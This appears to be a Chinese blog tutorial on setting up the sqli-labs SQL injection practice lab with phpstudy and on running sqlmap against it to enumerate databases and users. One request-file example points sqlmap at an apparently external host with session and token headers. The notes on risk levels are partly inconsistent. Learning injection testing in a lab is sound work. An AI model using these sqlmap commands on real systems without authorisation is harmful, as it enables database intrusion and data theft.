一个实验平台,里面有完整的SQL注入课程,需要phpstudy环境,因此先安装phpstudy环境
phpstudy:
https://www.xp.cn/
安装后发现数据库和我本机的数据库出现冲突了,只能使用
sc delete mysql
删掉我本机的mysql8服务,如果需要使用原来的mysql,管理员命令下输入
mysqld --install
删除之后成功启动
启动成功后,去下载sqli-labs:
https://github.com/Audi-1/sqli-labs
下载后的包导入到php的根目录WWW下,然后将D:\softwares\phpstudy_pro\WWW\sqli\sql-connections目录下的db-creds.inc文件里面的用户名和密码都设置为root
启动成功后访问
http://127.0.0.1/sqli/
然后点击reset Database for labs重置数据库
如果重置数据库出现mysql_connect(): The mysql extension is deprecated and will be removed in the future
进入phpstudy,选择php5.5.9版本即可
安装sqlmap:不要后面的算法
由于手动注入、半自动化注入效率较低,对于一些常规的、重复性的可以交由神奇sqlmap来完成
sqlmap需要python2的环境,因此,在安装一个python2环境,因为我本机已经有python3环境了,所以安装python2需要注意一点:
先下载Python2:www.python.org
下载后安装就OK了,然后配置环境变量:把安装目录加上去
然后重命名python.exe改为python2.exe
打开cmd输入:Python2
表示成功
在sqlmap目录输入:
python2 .\sqlmap.py,
出现如下信息表示启动成功,可以使用
打开sqli-lab 第一章:http://127.0.0.1/sqli/Less-1/
需要传id可以查到数据库的内容;
输入地址http://127.0.0.1/sqli/Less-1/?id=4
可以发现对应数据库数据一致,接下来我们对数据库进行SQL注入测试:
sqlmap命令行输入
python2 sqlmap.py -u "http://127.0.0.1:8080/thymeleaf/listCategory?start=2"
出现:已经检测到是mysql数据库,是否跳过检测其他类型数据库,输入y
出现:GET 参数 ‘id’ 易受攻击,我们选择Y,sqlmap就已经判断该链接的数据库以及其他服务版本是具有SQL注入威胁存在的
常用的命令:
例如:输入
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --dbs直接列出了我的所有数据库
例如输入
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --current-user直接列出了当前的用户
也可以通过文件进行注入
文件为payload.txt内容为接口信息
POST /biz/modularity/project114/manyParamsSqlszsfdsfwe HTTP/1.1
Host: http://daily.manateeai.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://daily.manateeai.com
Content-Type: application/json
Origin: http://daily.manateeai.com
Connection: keep-alive
session:dd9cee1fdec64bfba5843c6f1093ae3a
token:a6884edadb24c247c3c632b521f91f77
{
"name": "张三",
"pageNum": 2,
"pageSize": 2
}
输入命令
python2 sqlmap.py -r payload.txt --batch --dbs 直接列出了当前的数据库信息列表
探测等级(执行测试的等级(1-5,默认为1) )
参数: --level
共有五个等级,默认为1 ,lv2:cookie; lv3:user-agent,refere; lv5:host 我常使用–level 3
风险等级(执行测试的风险(0-3,默认为1) )
参数: -risk
共有四个风险等级,risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1
例如:输入:
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --level=5 --risk=3
每次注入完需要把C盘有个目录下的缓存文件夹删掉,如果不请掉的话,会拿以前的注入点去注最新的接口,有可能会造成sql注入结果无效